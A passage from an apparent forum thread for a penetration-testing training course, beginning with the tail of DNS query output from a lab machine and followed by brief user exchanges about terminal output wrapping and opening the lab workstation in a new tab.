;; ADDITIONAL SECTION:
ns.inlanefreight.htb. 604800 IN A 127.0.0.1

;; Query time: 80 msec
;; SERVER: 10.129.15.43#53(ns.inlanefreight.htb) (TCP)
;; WHEN: Thu Mar 07 21:47:46 PST 2024
;; MSG SIZE rcvd: 437

[soft cedar]

you are overcomplicating things with your command but still you have the answer there ¯_(ツ)_/¯

[limpid field]

im on the public exploits section of getting started and following the instructions to search exploits by plugin returns 84 exploits and the pwnbox screen is so small that the terminal output wraps around on itself and makes it hard to distinguish which exploit is which

[autumn pilot]

You can open the workstation in a new tab

[limpid field]

damn